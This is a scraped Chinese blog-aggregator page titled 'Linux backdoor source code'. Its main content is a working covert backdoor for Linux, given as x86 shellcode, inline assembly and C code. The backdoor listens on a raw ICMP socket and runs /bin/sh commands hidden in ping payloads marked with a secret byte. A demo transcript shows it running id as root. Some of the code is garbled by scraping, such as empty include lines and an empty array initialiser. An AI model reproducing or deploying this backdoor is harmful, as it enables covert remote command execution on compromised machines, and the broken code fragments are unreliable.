zoukankan      html  css  js  c++  java
  • Linux后门源代码

    main:/home/gloomy/security/shellcode/linux/icmp# ./icmp Size of shellcode = 137 main:/home/gloomy/security/shellcode/linux/icmp# ping -p 992f7573722f62696e2f69643e6f7574 -c 1 -s 26 localhost PATTERN: 0x992f7573722f62696e2f69643e6f7574 (\x99/usr/bin/id>out) 34 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms main:/home/gloomy/security/shellcode/linux/icmp# cat out uid=0(root) gid=0(root) groups=0(root) main:/home/gloomy/security/shellcode/linux/icmp# */ #include #include #include #include #define SECRET_CHAR "\x99" char shell[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x66" "\x43\x41\x51\xb1\x03\x51\x49\x51" "\x89\xe1\xcd\x80\x89\xc2\xb0\x02" "\xcd\x80\x31\xdb\x39\xc3\x75\x55" "\x31\xc0\x31\xdb\xb0\x10\x50\xb0" "\xff\x54\x54\x53\x50\x55\x52\x89" "\xe1\xb0\x66\xb3\x0c\xcd\x80\x89" "\xe9\x01\xc1\x31\xc0\x88\x41\xfe" "\xb0\x25\x01\xc5\xb0" SECRET_CHAR "\x32\x45\xff\x75\xd5\xb0\x02\xcd" "\x80\x31\xdb\x39\xc3\x74\x25\xeb" "\xc9\x31\xc0\x31\xdb\xb3\x02\xb0" "\x06\xcd\x80\x5b\x89\xd9\x88\x43" "\x07\x80\xc1\x08\x50\x55\x51\x53" "\x89\xe1\x99\xb0\x0b\xcd\x80\x31" "\xc0\x40\xcd\x80\xe8\xd8\xff\xff" "\xff" "/bin/sh -c"; void asm_code() { __asm(" xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx movb $0x66,%al incl %ebx incl %ecx push %ecx movb $0x3,%cl push %ecx decl %ecx push %ecx movl %esp,%ecx int $0x80 /* socket(); */ movl %eax,%edx movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx jne exit endlessloop: xorl %eax,%eax xorl %ebx,%ebx movb $0x10,%al push %eax movb $0xff,%al push %esp push %esp push %ebx push %eax push %ebp push %edx movl %esp,%ecx movb $0x66,%al movb $0x0c,%bl int $0x80 /* recvfrom(); */ movl %ebp,%ecx addl %eax,%ecx xorl %eax,%eax movb %al,-2(%ecx) movb $0x25,%al addl %eax,%ebp movb $0x99,%al /* SECRET_CHAR */ xorb -1(%ebp),%al jnz endlessloop movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx je stack jmp endlessloop execve: xorl %eax,%eax xorl %ebx,%ebx movb $0x2,%bl movb $0x6,%al int $0x80 /* close(); */ pop %ebx movl %ebx,%ecx movb %al,0x7(%ebx) addb $0x8,%cl push %eax push %ebp push %ecx push %ebx movl %esp,%ecx cdq movb $0xb,%al int $0x80 /* execve(); */ exit: xorl %eax,%eax incl %eax int $0x80 /* exit(); */ stack: call execve .string \"/bin/sh -c\" "); } void c_code() { int fd; int nb = 0; struct sockaddr_in them; int them_size = sizeof(struct sockaddr); char buf[256]; char *prog[] = ; fd = socket(2,3,1); if (fork() > 0) exit(0); while (1) { while (!(nb = recvfrom(fd,buf,255,0,(struct sockaddr *)&them,&them_size))); buf[nb-1] = 0; if (buf[36] == (char)SECRET_CHAR) if (fork() == 0) { close(2); execve(prog[0],prog,NULL); } } } int main(int c,char *v[]) { void (*i)(); i = (void (*)())shell; fprintf(stderr,"Size of shellcode = %d\n\n",strlen(shell)); i(); return 0; }
  • 相关阅读:
    cinder支持nfs快照
    浏览器输入URL到返回页面的全过程
    按需制作最小的本地yum源
    创建可执行bin安装文件
    RPCVersionCapError: Requested message version, 4.17 is incompatible. It needs to be equal in major version and less than or equal in minor version as the specified version cap 4.11.
    惠普IPMI登陆不上
    Linux进程状态——top,ps中看到进程状态D,S,Z的含义
    openstack-neutron基本的网络类型以及分析
    openstack octavia的实现与分析(二)原理,架构与基本流程
    flask上下文流程图
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327048.html
Copyright © 2011-2022 走看看